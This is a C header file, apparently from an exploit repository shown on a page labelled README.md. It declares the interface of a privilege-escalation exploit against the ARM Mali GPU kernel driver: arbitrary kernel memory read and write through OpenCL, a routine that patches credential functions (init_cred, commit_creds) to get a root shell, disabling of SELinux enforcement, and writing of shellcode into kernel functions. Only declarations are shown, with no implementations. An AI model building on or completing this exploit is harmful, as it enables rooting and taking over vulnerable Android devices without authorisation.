README.md
Rendering markdown...
#ifndef MEM_READ_WRITE_H
#define MEM_READ_WRITE_H
#include "CL/cl.h"
#include "mali_kbase_ioctl.h"
#include "mali_base_csf_kernel.h"
#include "mali_base_kernel.h"
#define KERNEL_BASE 0x80000000
#define PAGE_SHIFT 12
#define OVERWRITE_INDEX 256
struct rw_mem_kernel {
cl_mem va;
cl_mem in_out;
cl_mem flag;
cl_kernel kernel;
cl_program program;
};
void* map_gpu(int mali_fd, unsigned int va_pages, unsigned int commit_pages, bool read_only, int group);
void fixup_root_shell(uint64_t init_cred, uint64_t commit_cred, uint64_t read_enforce, uint32_t add_init, uint32_t add_commit, uint32_t* root_code);
void write_to(int mali_fd, uint64_t* gpu_addr, uint64_t* value, cl_command_queue command_queue, struct rw_mem_kernel* kernel);
uint64_t read_from(int mali_fd, uint64_t* gpu_addr, cl_command_queue command_queue, struct rw_mem_kernel* kernel);
void write_func(int mali_fd, uint64_t func, uint64_t* reserved, uint64_t size, uint32_t* shellcode, uint64_t code_size, uint64_t reserved_size, cl_command_queue command_queue, struct rw_mem_kernel* kernel32);
void cleanup(int mali_fd, uint64_t pgd, cl_command_queue command_queue, struct rw_mem_kernel* kernel);
struct rw_mem_kernel create_rw_mem(cl_context context, cl_device_id* device_id, bool is64);
void releaseKernel(struct rw_mem_kernel* kernel);
int run_enforce();
#endif